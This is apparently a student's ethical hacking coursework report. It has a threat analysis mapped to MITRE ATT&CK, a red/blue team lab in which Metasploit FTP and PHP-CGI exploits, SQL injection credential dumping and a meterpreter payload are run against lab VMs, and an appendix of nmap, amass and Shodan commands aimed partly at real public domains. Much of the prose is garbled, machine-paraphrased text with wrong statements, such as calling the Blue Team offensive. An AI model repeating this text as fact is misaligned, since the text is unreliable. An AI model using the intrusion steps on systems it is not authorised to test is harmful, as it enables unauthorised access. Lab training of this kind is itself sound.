50

[image: ]
Student Name: Naveed ullah shah
Student ID number:2510665
Programme: Cybersecurity and Digital Forensics
Module: Ethical Hacking
Module code: ACCA7033

Table of Contents
1. Introduction	3
TASK 1 – Strategic Threat Analysis:	3
2. Overview of the Cyber Incident	3
3. Timeline Analysis of the Incident	4
4. Attributing the enemy TTP to MITRA ATT&CK	5
5. Security Control Failures and Root cause	6
6. Threat Actor Profile and Motives	8
7. Detection and Incident Response Assessment	9
8. Cybersecurity advice	9
TASK 2 - Blue Team Defence/Red Team Attack	10
1. Summary interaction of Red (Team leader)	32
2. Blue Team Agenda	32
3. Rules of Engagement (RoE)	36
4. Threat Emulation plan	36
5. Virtual Lab Environment (Design)	37
6. Exploitation Phase	37
7. Tools and Techniques	38
8. Detection Gap Analysis	38
9. Executive Security Recommendations	39
10. Conclusion	39
References:	41
Appendix	43



[bookmark: _Toc228446150]1. Introduction 
Digital world today is where organisations transform into more intensive utilisation of information systems, cloud-based systems and online services that are interdependent to facilitate the business to operations and customer interaction. On one hand, the technologies can be used to gain increased efficiency and scalability and, on the other hand, the technologies offer more attack points to the cybercriminals. The latter has enhanced the escalation of sophisticated cyber threats on contemporary organisations with the sole appeal to Advanced Persistent Threats (APTs) whose main peculiar feature is invisibility, persistence, and multi-tiered onslaught. Such threats are likely to be a sequence of actions such as reconnaissance, first compromise, privilege escalation, further lateral movement and data exfiltration [1].
Organisations are now enacting effective cybersecurity policies in their quest to effectively counter such risks, which include offensive and defensive. The red teaming and penetration testing are offensive security measures that attempt to replicate the actual life attack in which to determine the vulnerability that is present before the malicious agents can exploit the vulnerabilities. The defensive steps taken by the blue teams on the other hand are those that are geared towards monitoring, detection and incident response in an attempt to reduce the persistence of threats. Making sense of behaviour of adversaries is applicable in such models as the MITRE ATT&CK which visualises strategies, methodologies and processes (TTPs) within the life cycle of attacks.
[bookmark: _Toc228446151]TASK 1 – Strategic Threat Analysis:
[bookmark: _Toc228446152]2. Overview of the Cyber Incident
Observed evidence of how digitally Basing businesses can be so vulnerable is witnessed by recent cyber attacks of major retail organisations. It is also interesting how the contemporary trends on the threats scene have seen institutions such as Marks and Spencer and Co-operative Group to respond to sophisticated cyber-attacks, which have been characteristic in the sphere of the modern threats. The organisations utilize massive digital platforms like databases of customer, financial systems and in few cases even supply chain platform and it is owing to this that cybercriminals may think that such platform is an easy target [2].
A combination of phishing-mail messages, credentials stealing and gaining access into the system by exploiting vulnerabilities to the system is a conglomeration of practices that are typically applied by attackers. Upon entering the network, the attackers would aim at elevating their privileges, to a lateral attack on the systems and finally to acquire or steal sensitive data. Such attacks can be highly organized and in sequence such that they cannot be detected.
[bookmark: _Toc228446153]3. Timeline Analysis of the Incident
On attack sequence- time sequence of attack indicates the nature of attacks and reaction to cyber attacks by companies. Such so-called cyber-attacks in the overwhelming majority including the case of the large retailers are systematic and multi-level courses that follow the classical adversarial behavior [3].
The initial attack is normally an initial intrusion and is typically done via a phishing attack or a hijacked credential. Once they have access, the hackers then attack privilege escalation, to obtain higher levels of control over the system. After that, it is possible to proceed with the next lateral move and presuppose that the attackers are reconnoitering the internal network to monitor the resources they want such as databases or financial systems. The hackers will finally gain access to sensitive data and at this stage, they will be capable of exfiltrating data.
One of the major problems in such incidences is latitude in the detection of such incidences. The hackers themselves will be quite highly evasive and as such they will be able to remain there without detection and even expand their access within a few days. It is typically identified when an abnormal system behaviour is identified by ways of logger and monitoring tools. The capabilities relating to containment that response teams can be put into action after they have identified an incident include isolation of the systems that have been compromised, or generation and overriding of compromised credentials [4].
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Attacker behaviour: Attacker behaviour is critical as far as effective cybersecurity defences are concerned. Likewise, the MITRE ATT237 has emerged as a hub of wisdom about adversary tactics, techniques and procedure(TTPs) of replies to which organisations are broadcasting a systematised description and protection to cybercrime.
Adversary TTP Mapping (MITRE ATT&CK)
	MITRE Tactics
	Technique Name
	ID
	Description / Observed Activity

	Initial Access
	Phishing / Valid Accounts
	T1566 / T1078
	Initial entry via social engineering or stolen credentials.

	Execution
	Command & Scripting Interpreter
	T1059
	Use of PowerShell or Bash to execute malicious code.

	Privilege Escalation
	Abuse Elevation Control
	T1548
	Gaining administrative rights to bypass security controls.

	Lateral Movement
	Remote Services
	T1021
	Moving through the network using SMB or RDP.

	Exfiltration
	Exfiltration Over C2 Channel
	T1041
	Sending sensitive data out of the network via established C2.



It is likely that the attackers of the incidents in question have undergone some sort of a structured chain of attack. It begins with the phase of the first access that is typically achieved either with the assistance of phishing (T1566) or canceled credentials (T1078) which have been stolen. Having accessed the system the attackers execute the malicious code using the scripting language that may be the power shell or the bash (T1059). This allows the hackers to perform unknown actions in the environment to which they have gained access [5].
This is the next step of Privilege Escalation (T1548) in which the attackers are granted access to administrative privileges that they can use to circumvent security. Once this is completed, attackers proceed to Discovery methods such as account discovery (T1087) and system discovery (T1018) to map the internal network and find valuable targets.
The attackers find systems with remote services in (T1021) phase (Server Message Block (SMB)) or Remote Desktop Protocol (RDP) in the Lateral Movement stage. Finally, sensitive data exit the network in the Exfiltration stage in the path of command-and-control (T1041) and application layer protocols (T1071).
[bookmark: _Toc228446155]5. Security Control Failures and Root cause
Cyber incidents cannot be as commonly instigated by a single vulnerability, although they are likely to be instigated by a set of both technical and organisational vulnerabilities and human vulnerabilities. These are lower-level issues, which need to be uncovered, to increase the resilience of cybersecurity [6].
Detection Gap & Mitigation Strategy

	Identified Gap
	Security Impact
	Recommended Mitigation
	Priority

	No Centralized Logging
	Inability to correlate events over time; "blind spots."
	Deploy a SIEM solution with advanced correlation rules.
	High

	Lack of EDR
	No visibility into process-level changes or malicious scripts.
	Implement Endpoint Detection & Response on all servers.
	High

	Single-Factor Auth
	High risk of credential harvesting and reuse.
	Enforce Multi-Factor Authentication (MFA).
	Critical

	Flat Network Design
	Attackers can move laterally with ease once inside.
	Implement Network Segmentation and Zero Trust.
	Medium



Still to be patched are one of the largest vulnerabilities in the unpatched systems. Any failure to upgrade software or one of the operating systems leave organisations vulnerable to the threats of attackers who can use the software to penetrate into the organisation. Additionally, it is possible to attack the services, which are not properly configured and web applications, which are not secured, such as remote code execution or authentication bypass. The susceptibility to credential-based attacks is because of the absence of strong authentication deals and their insufficiency very specifically in the absence of multi-factor authentication (MFA).
Organisational failures can also result into security breach. Failure to selectively isolate networks may allow attackers to navigate in between systems after they have infiltrated. Furthermore, laxity in security measures and installations can cause risky behaviour among the employees such as use of weak passwords and accessing using less reliable resources [7].
[bookmark: _Toc228446156]6. Threat Actor Profile and Motives 
Cyber-attacks on large organisations are usually targeted based on diversity, regarding the degree of credibility of threat actors and their motives. This type of attack is associated with organised criminal gangs which are among the most prolific families. One additional significant motivation factor of such groups and in the majority of the cases, the data theft, fraud and ransomware attacks are also taken into account.
The other threat is the ransomware organizations. This will tend to disrupt networks, code valuable data and sell it in horrors to the decryption keys. They also threaten to publish stolen information and ensure that they bully the victim organisation the most in most cases [8].
In some instances, nation-state actors can serve such a function as destruction of key infrastructure or mass enterprise. They are exceedingly high-order actors who can intrude in a system of intelligence or bad-intentioned have the ability to waste economical endeavors.
[bookmark: _Toc228446157]7. Detection and Incident Response Assessment
Two very important areas of organisational cybersecurity are detection, and incident response, which the Blue Team is primarily involved in. Detectives are typically composed of Security Information and Event Management (SIEM) which does this by the analysis of logs and other types of anomaly detection applications.
After identifying a potential threat, incident response teams are also systematic about the procedure, which is occupied by the identification, containment, elimination and recovery. For example, the crippled systems can either be networked or shuttered, blocked rogue access and abuse their names so as not to get further diluted [9].
[bookmark: _Toc228446158]8. Cybersecurity advice 
Organisations should employ a multi-layered method of cybersecurity to the extent that it guarantees organisations eliminate any cyber threat in the future. Zero Trust architecture will be a solution that will authorize every request of access on-the-fly to reduce the probability of an unauthorized access. MFA must be implemented to improve the authentication procedure and remove credentialing abuses.
Besides, network segmentation, and enhanced surveillance systems such as SIEM and Endpoint Detection and Response (EDR) solutions can minimize the chances of horizontal movement within systems, and they can lead to increased potential threat detection opportunities (Mettu, 2025). Regular trainings should also be done to employees to reduce phishing and social engineering attacks. These will bring about a lot of resilience to organisations against dynamic cyber attacks.

[bookmark: _Toc228446159]TASK 2 - Blue Team Defence/Red Team Attack 
Virtual Lab Environment Configuration
	Machine Role
	Operating System
	IP Address (Example)
	Primary Tooling Used

	Attacker
	Kali Linux
	192.168.56.9/24
	Nmap, Metasploit (MSF), Wireshark

	Target 1
	Ubuntu Server
	192.168.56.8/24
	Snort (IDS), UFW (Firewall)

	Target 2
	Metasploitable 2
	192.168.56.5/24
	Vulnerable Services (HTTP, FTP Web)

	Target 3
	Windows Server
	192.168.56.6/24
	PING, Netstat, nslookup

	Target 4
	Windows 8.1/10
	192.168.56.7/24
	PING, Netstat



Virtual Lab Setup:
We have taken 5 Virtual Machines here –
-VM‐1: Windows Server acting as Active Directory Domain Controller
Windows Server 2022 having the IP address 192.168.56.6/24
[image: ]
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Metasploitable 2 having the IP address 192.168.56.5/24
-VM‐2: Linux web server hosting a vulnerable web application (DVWA/MUTILLIDAE)
[image: ]

Windows Client Operating System having the IP address 192.168.56.7/24
-VM‐3: Windows client or a file‐server hosting ‘sensitive’ dummy data
[image: ]
Ubuntu Machine having the IP address 192.168.56.8/24
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Attacker Machine Kali Linux having the IP address 192.168.56.9/24
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Network Connectivity testing from Kali Linux to all VMs
[image: ]

Performing Network discovery from Kali Linux. Checking all VMs are recognized or not
[image: ]
We have discovered all the VMs which are currently active and live
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We can perform this task through NMAP tool also. Target VMs are detected and their Hardware Address (MAC) are also showing 
[image: ]
Doing active scanning from Kali Linux to get the information about current protocol and port numbers which in opened state. Getting the lists of all protocol and logical port numbers.
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Now performing active scanning for Ubuntu Machine from Kali Linux. FTP, HTTP, SSH, Telnet, SMTP all protocols are in active state and opened. Which could be vulnerable any time.
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Performing a Windows Server Scan now from Kali Linux and getting the list of all protocol and port numbers which are opened state
[image: ]
Passive Scanning to know about the webserver running on the target VM from Kali Linux 
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Enumeration from Kali Linux. Getting the information about Apache Webserver running 
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Once collecting information from the victim’s machine now going for exploitation. Filtering FTP and HTTP port number of Ubuntu Machine 
[image: ]
Executing MSF Console (Metasploit Framework Console) and searching for valid exploit matching modules through which FTP exploitation will be possible 
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Checking for options here we need to set the target computer IP address
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Executing Exploit command now and we have successfully exploited target machine through FTP port 21. Below screenshot showing all the directories on the target machine
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Creating one new directory from Kali Linux inside the target machine. We are inside root directory of the ubuntu machine. We have created one folder over there named test
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Verifying from Victims Machine the folder has been created or not. Folder name ‘test’ is showing
[image: ]
We have successfully exploited 
Now exploiting HTTP Protocol. Searching and using valid exploitation matching module for http
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Setting Target Machine IP which is Remote Host
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Checking which PHP Version is running on target machine 
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Now looking the configuration file of PHP
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Once got the configuration file now again going inside MSF console and looking for valid module which match php_cgi. Using the highlighted module
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Setting Remote and Local Hosts and exploitation is successful through http
[image: ]
Now accessing a root shell and create one more directory and verifying from Victim’s computer
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We are inside /var/www directory. Verifying from Victim’s computer
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Now accessing Web Server of Victims Computer
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Trying to login now but we are unable to login as we don’t know the credentials 
[image: ]
Registering one User 
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Account has been created successfully 
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Now we are not going to login with the user which we have created. We will try to get all the users and their password list from database. We will do SQL Injection attack. Using top ten OWASP for data extraction 
[image: ]
Executing Code and getting all the username and password information 
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Verifying the username and password which we have created earlier should have been detect in the list 
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To exploit any windows machine, we are creating a payload 
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Going inside msfconsole and setting meterpreter type Remote host IP, setting remote port 
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Sending the payload to windows machine which we have created in Kali Linux
[image: ] 
Once we clicked on the payload in windows meterpreter session has been established 
[image: ]
Typing help to get all the command list which we could execute
[image: ]
Getting the information about the Operating System running on
[image: ]
We have successfully exploited Windows Machine


[bookmark: _Toc228446160]1. Summary interaction of Red (Team leader) 
One of the most essential components of defensive cybersecurity is red team engagement that strives to recreate the actual cyber-attack in the real world in a controlled and acceptable environment. The main aim of the red teaming is to replicate tactics, procedures ( TTPs ) of actual adversaries with the perspective of trying to establish the vulnerability, misconfigurations and failings of a security posture of a company. In the report it is the red team exercise simulated off of a fictitious organisation, ABCD Ltd.
This will be founded on research into how the successfulness of the organisation can be prevented and detected and a response on the cyber threats. The red team is currently attempting to break into the systems and steal sensitive information but in the process they are attempting to enter the systems without the required authorisation, gain privileges, lateral movement and finally attempting to steal sensitive data by impersonating the sophisticated attackers. Everything is done on a virtual lab so that nothing is done in the actual systems to disorient them [10]. The engagement behaviour is not only ethical in nature, but also all other standards like prior authorisation and responsible disclosure are met and the behaviour is professional and legal.
[bookmark: _Toc228446161]2. Blue Team Agenda 
An offensive component of cybersecurity will be a Blue Team that will tackle the problem of protection of organisational systems against cyber attacks. It involves surveillance, threat detection, response to incidences and recovery of their systems. To contain the damages, The Blue team would have to make sure that any reprobate actions coordinated by the red team and react to the involvement in an appropriate way.
Examples of such defense mechanisms include firewalls, intrusion detection tools, e.g., Snort and Security Information and Event Management (SIEM) systems. The Blue Team scans a network according to the logs, scans the network traffic and introduces an idea of containment where any type of suspicious activity is observed. They are described in the reaction they give and the actions that they simulate when they are exposed to fake assaults [11].
Now to avoid this we should always enable windows Defender Firewall Settings
[image: ]
In Linux OS also have to do the same. Enabling UFW
[image: ]
Root password has to be changed frequently and password has to be strong and complex enough
[image: ]
SNORT can be configured as an IDS and IPS 
[image: ]
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SNORT Rules 
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[bookmark: _Toc228446162]3. Rules of Engagement (RoE)
Rules of Engagement (RoE) may offer the boundaries/size and scope of red team exercise with an eye of ensuring that all the actions are safe, ethical and within the assigned allowable borders. The sphere of work in case of experiments with such an instance as simulation of an ABCD Ltd is related to the choice of the systems of a sort web servers, internal components of network and virtual machines in the laboratory.
Reconnaissance test, vulnerability scan test, controlled exploitation test and privilege escalation test are some of the steps that are approved tests. Still, any types of activity, which could provoke the instability of the system and corruption of the data or denial of service is strictly forbidden. All the critical systems do not necessarily undergo testing in order to avoid incidences of accidental breakages that are unnecessary.
They have a good channel of communication with the red team and the people in charge of them to report on real time serious vulnerabilities or incidence. In addition, the emergency termination procedure will also be implemented to automatically test certain unexpected difficulties that can be identified. The other significant criteria of the engagement are the conformity of the law and ethics [13].
[bookmark: _Toc228446163]4. Threat Emulation plan
The model of lifecycle will be used as the basis of attack simulation. It is instigated with reconnaissance which is concerned with getting facts about the target environment by the attacker. The next stage is the initial access stage which is usually achieved by exploitation of vulnerabilities or phishing. Once attaining an access, the attacker makes attempts to increase privileges so that he or she could get additional access of a higher level.
It is followed by a lateral movement to search inner network in order to find valuable systems. Finally is the information leakage, which occurs and is the last to occur where sensitive information is bled off the network towards the end of the attack. It is a systematic assessment technique that gives the opportunity to trace up the offensive capacity and defence failure within the organisation at large scale.
[bookmark: _Toc228446164]5. Virtual Lab Environment (Design) 
The exercise of using red team was conducted in a controlled virtual laboratory in order to make sure that the exercise was implemented in a safe mode. It consisted two systems; an attacker machine (Kali Linux) and a target system (Ubuntu Server). These machines would be installed in another network that was not connected to other systems to avoid being interfered with.
It reconnoitered, scanned, and made use of the Kali Linux machine and put the Ubuntu server with vulnerable services to the test. To ensure that there was network connection between the systems, the IP configuration and ping tests were used. Simulating the conditions of a real world attack by putting this far away can be done without disturbing the operating systems, and real and safe experimental data were obtained.
[bookmark: _Toc228446165]6. Exploitation Phase
Red Team Activities
The exploitation stage demonstrates the process through which the attackers take advantage of the weak spots detected in accessing the other systems into the network.
The first attempt was based on an insecure web application, which allowed Remote Code Execution (RCE) via the target server (VM-2). The trudler assessed the ports and services (with reconnaissance tools such as Nmap) and discovered an old web server. The Web application has been compromised by letting the application access system level commands and has introduced a rogue code into the Web application. This provided an access to the system in the first place and granted the attacker to search directories and locate information in the system.
The second step was to take privilege on VM-1. Sensitive credentials were also stored in the configuration files because they were listing the systems. In a way to reauthenticate such credentials the higher privilege users were revoked and reminted as the higher the privilege. These credentials allowed the attacker access the system at a privilege level of administration and as such, modify the system to his or her desires.
Blue Team Activities
The Blue Team made defensive where the attacks, identified during the reactions were simulated. Firewall behaviour was switched on the Ubuntu server to control the incoming and outgoing traffic. The other system introduced is an intrusion detection system, Snort, to watch over the network traffic.
Snort could capture all the ICMP traffic when ping tests were run as well as all the scanning that Nmap was conducting that scanned over TCP. The data were already incorporated as alerts such as the external IP address, the internal IP address, time and port numbers. This could demonstrate how network tracking could be utilised to track reconnoitering.
However, still a third use of the log analysis was that odd network connections, scan a lot and suspicious behaviour could be pursued by the Blue Team using the log analysis. These mitigation strategies remaximize the importance of real time surveillance and awareness of the threats that can be countered to thwart cyber-attacks.
[bookmark: _Toc228446166]7. Tools and Techniques
The red team prepared several tools, which are industry standards to assist in carrying out the penetration test. Network reconnaissance and port scanning using Nmap enabled services and hosts to be identified as running. Other vulnerabilities were also exploited by use of metasploit and controlled attacks were carried on the target systems with the use of known vulnerabilities. Burp Suite was also used to test the web applications and gain an insight into how to manage their traffic [14].
Regarding defense, the Blue Team was gambling on default on Snort as intrusion detector, and firewall settings as a control over traffic traffic. All these were also employed to assist in testing of offensive and defense during the encounter as well.
[bookmark: _Toc228446167]8. Detection Gap Analysis 
The exercise of the red team showed that there are some major weaknesses as far as detection and monitoring capabilities at the organisation are concerned. One of the problems that were identified was the absenteeism of having a good centralised log management. The logs of the application and the system were not merged and actively monitored to allow assigning a malicious activity to long term.
Another potential critical vulnerability had been the unavailability of Endpoint Detection and Response (EDR) solutions. In addition to executing malicious scripts, there was no real-time identification of actions, absence of endpoint visibility, and privileged escalation. Additionally, the SIEM that was deployed was not sophisticated with regard to the sense-making rules and therefore, flagged as many threats as possible on the suspicious behaviours.
[bookmark: _Toc228446168]9. Executive Security Recommendations 
The red team and blue team suggest certain strategic options with the objective of improving the cybersecurity presence of the ABCD ltd. The offensive-looking penetration testing, and the emulation of the adversary needs to be periodically made and made as an alteration measurement to tell the weaknesses, and, ability of the system to withstand the adversarial attack.
Positive effects on the defense side are the fact that the Endpoint Detection and Response (EDR) solutions can have a positive impact on the endpoint-awareness of the activities and accelerate the threat-identification process [16]. The monitoring systems of SIEM applications will be made more powerful by the development of advanced correlation rules, and inclusion of threat intelligence feeds.
Multi-Factor Authentication (MFA) is to be implemented to prevent credits attacks and network segmentation will be used to prevent the flow of the network segment. Moreover, this will also demand a continuous security awareness of the employees themselves to reduce the risk of phishing attack.
[bookmark: _Toc228446169]10. Conclusion
The type of active cybersecurity testing that was done during the red team engagement exercise that was under undertaken in the case of ABCD Ltd plays a crucial role in the process to determine the weaknesses in organisations and prevent them. By replicating the real attack scenario, it is possible that the red team will identify the most critical areas of network security, authentication and monitoring system process. The exploitation phase emphasized that the attackers can secure an initial access and expand their privileges and rob sensitive data where there is no sufficient levels of security.
This drill assists in realizing the balancing aspect of red and blue teams in cybersecurity nowadays. Assigned blue teams as opposed to red teams get a chance to know what vulnerability means, what countermeasures can be developed in case of vulnerability and how to respond to vulnerability. A blend between the two solutions will place organisations in a better position to practice a holistic and robust security. Testing, monitoring and improvement are essential to the protection of the digital property and sustainment of organisational trust due to dynamic nature of cyber threats.
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AIM: - Performing Port scanning through NMAP
· Install nmap
· Use Flags
Practical:
Step1:sudo apt install nmap for kali
[image: A screen shot of a computer code

AI-generated content may be incorrect.]

Step2:-Basic command nmap www.google.com
[image: A computer screen with white text

AI-generated content may be incorrect.]

Step3:-sudo nmap -f -A -O www.google.com
[image: A computer screen shot of a program

AI-generated content may be incorrect.]

AIM: - Carrying out Web server fingerprinting, subdomain enumeration with pentest tools and manual scripts.
· Dig
· Amass
Practical:
DIG
Step 1:Open Kali terminal 
Step 2:-Write Following command “dig google.com -t mx aaa”
POC

[image: A computer screen shot of white text

AI-generated content may be incorrect.]

Step3:-Write Following command “dig amazon.com +noall +answer”
[image: A screenshot of a computer

AI-generated content may be incorrect.]

AMASS
Step 1:-Open Kali Terminal
Step 2:-Install amass by following command and if you  have so upgrade it “sudo apt install amass ” 
Step3:-Type following command “amass enum -d instagram.com”
[image: A computer screen shot of a computer code

AI-generated content may be incorrect.]
[image: A screen shot of a computer screen

AI-generated content may be incorrect.]
[image: A computer screen shot of a computer code

AI-generated content may be incorrect.]

Step 4:-Type   Following command “amass intel -d owasp.org -whois”
[image: A computer screen shot of a black background

AI-generated content may be incorrect.]




Step 5:- Type following Comand “amass intel -d Instagram.com -whois”
[image: A screen shot of a computer

AI-generated content may be incorrect.]






AIM: Know and Do Database Google hacking search engine - Shodan HQ on how to search vulnerable URLs and Vulnerabilites of Web Applications.
· Use of shodan
· Direct through website and through command line
· For open IOT devices
· Ex. Camera and more
Practical:
USE:- Shodan is a search engine that allows its users to locate certain types of devices (computers, routers, servers, etc.) online. In contrast to the traditional search engines, such as Google that search through web pages, Shodan searches the internet and identifies devices and services.
Direct Through website
Step1:-Open any Browser and open following website www.shodan.io
Step2:-Now type any website in search area
[bookmark: _GoBack]POC
[image: ]
[image: ]
[image: ]


Through CLI
Step1:-Open Kali terminal 
Step2:-Enter Shodan
[image: ]
Step3:- shodan host 189.201.128.250
[image: ]



Step4:- shodan parse --fields ip_str,port,org --separator , microsoft-data.json.gz
[image: ]
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msfadmin@metasplo sudo setcsinit.d/networking restart
» Reconf iguring network interfaces...
[SIOCDELRT: No such process

[ OK 1
nsfadmin@metasploitable:™§ ifconfig

ethoO Link encap:Ethernet HWaddr 00:0c:29:fa:dd:2a

inet addr:192.168.56.5 Bcast:192.168.56.255 Mask:255.255.255.0
inetb addr: feB80::20c:29ff :fefa:ddZ2as64 Scope:Link

UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1

RX packets:63 errors:0 dropped:0 overruns:0 frame:0

TX packets:120 errors:0 dropped:0 overruns:0 carrier:0
collisions:0 txqueuelen:1000

RX bytes:3780 (3.6 KB) TX bytes:11784 (11.5 KB)

Interrupt:1?7 Base address:0x2000

lo Link encap:Local Loopback

inet addr:127.0.0.1 Mask:255.0.0.0

inetb addr: ::1,128 Scope:Host

UP LOOPBACK RUNNING MTU:16436 Metric:1

RX packets:156 errors:0 dropped:0 overruns:0 frame:0
TX packets:156 errors:0 dropped:0 overruns:0 carrier:0
collisions:0 txqueuelen:0

RX bytes:42157 (41.1 KB) TX bytes:42157 (41.1 KB)

S _

msfadmin@metasploitable:™
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a adminz@KaliLinux: ~/Desktop Q i

New Folder
~/Desktop

etho: flags=4163<UP, BROADCAST, RUNNING, MULTICAST> mtu 1500
inet 192.168.56.9 netmask 255.255.255.0 broadcast 192.168.56.255
inet6 feso::2d8a:4ccd:640f:117d prefixlen 64 scopeid 0x20<link>
ether 00:0c:29:b0:c1:3a txqueuelen 1000 (Ethernet)

RX packets 1757 bytes 167267 (163.3 KiB)

RX errors 0 dropped 0 overruns 0 frame 0

TX packets 86866 bytes 5222989 (4.9 MiB)

TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0

To: flags=73<UP,LOOPBACK, RUNNING> mtu 65536
inet 127.0.0.1 netmask 255.0.0.0
inets prefixlen 128 scopeid 0x10<host>
loop txqueuelen 1000 (Local Loopback)
RX packets 193 bytes 14499 (14.1 KiB)
RX errors 0 dropped 0 overruns 0 frame 0
TX packets 193 bytes 14499 (14.1 KiB)
TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0
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a adminz@KaliLinux: ~/Desktop Q i

New Folder ~/Desktop
2 192.168.56.5
PING 192.168.56.5 (192.168.56.5) 56(84) bytes of data.
64 bytes from 192.168.56.5: icmp_seq=1 ttl=64 time=0.707 ms
64 bytes from 192.168.56.5: icmp_seq=2 ttl=64 time=0.484 ms

--- 192.168.56.5 ping statistics ---
2 packets transmitted, 2 received, 0% packet loss, time 1007ms
rtt min/avg/max/mdev = 0.484/0.595/0.707/0.111 ms

~/Desktop
2 192.168.56.6
PING 192.168.56.6 (192.168.56.6) 56(84) bytes of data.
64 bytes from 192.168.56.6: icmp_seq=1 ttl=128 time=0.678 ms
64 bytes from 192.168.56.6: icmp_seq=2 ttl=128 time=0.761 ms

__---192.168.56.6 ping statistics
2 packets transmitted, 2 received, 0% packet loss, time 1002ms
rtt min/avg/max/mdev = 0.678/0.719/0.761/0.041 ms

~/Desktop
2 192.168.56.7
PING 192.168.56.7 (192.168.56.7) 56(84) bytes of data.
64 bytes from 192.168.56.7: icmp_seq=1 ttl=128 time=1.28 ms
64 bytes from 192.168.56.7: icmp_seq=2 ttl=128 time=4.33 ms

--- 192.168.56.7 ping statistics ---
2 packets transmitted, 2 received, 0% packet loss, time 1002ms
rtt min/avg/max/mdev = 1.278/2.802/4.327/1.524 ms

~/Desktop
2 192.168.56.8
PING 192.168.56.8 (192.168.56.8) 56(84) bytes of data.
64 bytes from 192.168.56.8: icmp_seq=1 ttl=64 time=0.877 ms
64 bytes from 192.168.56.8: icmp_seq=2 ttl=64 time=0.719 ms

--- 192.168.56.8 ping statistics ---
2 packets transmitted, 2 received, 0% packet loss, time 1001ms
rtt min/avg/max/mdev = 0.719/0.798/0.877/0.079 ms
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a adminz@KaliLinux: ~/Desktop Q i
N Currently scanning: 192.168.69.0/16 | Screen View: Unique Hosts

7 Captured ARP Req/Rep packets, from 7 hosts. Total size: 420

P At MAC Address. Count Len MAC Vendor / Hostname

192.168. 5¢

6.5  00:0c: 60 VMuare, Inc.
192.168.56.6  00:0c:29 2b 60 VMuare, Inc.
192.168.56.7 60 VMuare, Inc.

00:0c:29:63:0f:ee
192.168.56.8  00:0c:

192.168.65.1  00:50:
192.168.65.2  00:50:
192.168.65.254 00:50:

60 VMuare, Inc.
60 VMuare, Inc.
60 VMuare, Inc.
60 VMuare, Inc.
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@ . Apps  Places Apr29 8:39PM ® 4% @36% 100kB L0.0kB o¢ o

a adminz@KaliLinux: ~/Desktop Q i

New Folder
~/Desktop

192.168.56.0/24
Starting Nmap 7.95 ( https://nmap.org ) at 2026-04-29 20:39 ACST
mass_dns: warning: Unable to determine any DNS servers. Reverse DNS is disabled. Try using --system-dns or specify valid servers u
ith --dns-servers
Nmap scan report for 192.168.56.5
Host is up (0.00014s latency).
MAC Address: 00:0C:29:FA:DD:2A (VMware)
Nmap scan report for 192.168.56.6
Host is up (0.00014s latency).
MAC Address: 00:0C:29:2A:AE:2B (VMware)
Nmap scan report for 192.168.56.7
Host is up (0.00025s latency).
MAC Address 29:63:0F:EE (VMuare)
Nmap scan report for 192.168.56.8
___Host is up (0.00041s latency).
MAC Address: 00:0C:29:0C:D5:0A (VMare)
Nmap scan report for 192.168.56.9
Host is up.
Nmap done: 256 IP addresses (5 hosts up) scanned in 2.10 seconds

~/Desktop

input to this VM, click inside or press Ctrl+G.
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a adminz@KaliLinux: ~/Desktop Q i

New Folder
~/Desktop

192.168.56.5
starting Nmap 7.95 ( https://nmap.org ) at 2026-04-30 20:57 ACST

mass_dns: warning: Unable to determine any DNS servers. Reverse DNS is disabled. Try using --system-dns or specify valid servers w
ith --dns-servers

Nmap scan report for 192.168.56.5

Host is up (0.00089s latency)

Not shown: 977 closed tcp ports (reset)

PORT  STATE SERVICE  VERSION

21/tcp  open ftp vsftpd 2.3.4

22/tcp  open ssh OpensSSH 4.7p1 Debian Bubuntul (protocol 2.0)

23/tcp  open telnet Linux telnetd

25/tcp  open smtp Postfix smtpd

53/tcp  open domain 1ISC BIND 9.4.2

80/tcp open http Apache httpd 2.2.8 ((Ubuntu) DAV/2)
__111/tcp open rpcbind 2 (RPC #100000)

139/tcp open netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
445/tcp  open netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)

512/tcp open exec netkit-rsh rexecd
513/tcp open login?
514/tcp open shell Netkit rshd

1099/tcp open java-rmi  GNU Classpath grmiregistry
1524/tcp open bindshell ~Metasploitable root shell

2049/tcp open nfs 2-4 (RPC #100003)

2121/tcp open ftp PrOFTPD 1.3.1

3306/tcp open mysql MysQL 5.0.51a-3ubuntus

5432/tcp open postgresql PostgreSQL DB 8.3.0 - 8.3.7
5900/tcp open vnc VNC (protocol 3.3)

6000/tcp open X11 (access denied)

6667/tcp open irc UnrealIRCd

8009/tcp open ajp13 Apache Jserv (Protocol v1.3)
8180/tcp open http Apache Tomcat/Coyote JSP engine 1.

MAC Address: 00:0C:29:FA:DD:2A (VMare)
Service Info: Hosts: metasploitable.localdomain, irc.Metasploitable.LAN; 0Ss: Unix, Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/
Nmap done: 1 IP address (1 host up) scanned in -86356.51 seconds
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a adminz@KaliLinux: ~/Desktop Q i

New Folder
~/Desktop

192.168.56.8
starting Nmap 7.95 ( https://nmap.org ) at 2026-04-29 20:44 ACST

mass_dns: warning: Unable to determine any DNS servers. Reverse DNS is disabled. Try using --system-dns or specify valid servers w
ith --dns-servers

Nmap scan report for 192.168.56.8

Host is up (0.00019s latency)

Not shown: 993 closed tcp ports (reset)

PORT  STATE SERVICE  VERSION

21/tcp open ftp vsftpd 3.0.5

22/tcp open ssh OpensSSH 8.9p1 Ubuntu 3ubuntu0.13 (Ubuntu Linux; protocol 2.0)
23/tcp open telnet Linux telnetd

25/tcp open smtp Postfix smtpd

80/tcp open http Apache httpd 2.4.52 ((Ubuntu))

139/tcp open netbios-ssn Samba smbd 4
___445/tcp open netbios-ssn Samba smbd 4
MAC Address: o 29:0C:D5:0A (VMware)
Service Info: Host: Myubuntu.localdomain; 0Ss: Unix, Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/
Nmap done: 1 IP address (1 host up) scanned in 11.81 seconds

~/Desktop

input to this VM, click inside or press Ctrl+G.
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-1 adminz@KaliLinux: ~/Desktop Q i

ith --dns-servers

Nmap scan report for 192.168.56.8

Host is up (0.00019s latency)

Not shown: 993 closed tcp ports (reset)
PORT  STATE SERVICE  VERSION

New Folder

21/tcp open ftp vsftpd 3.0.5

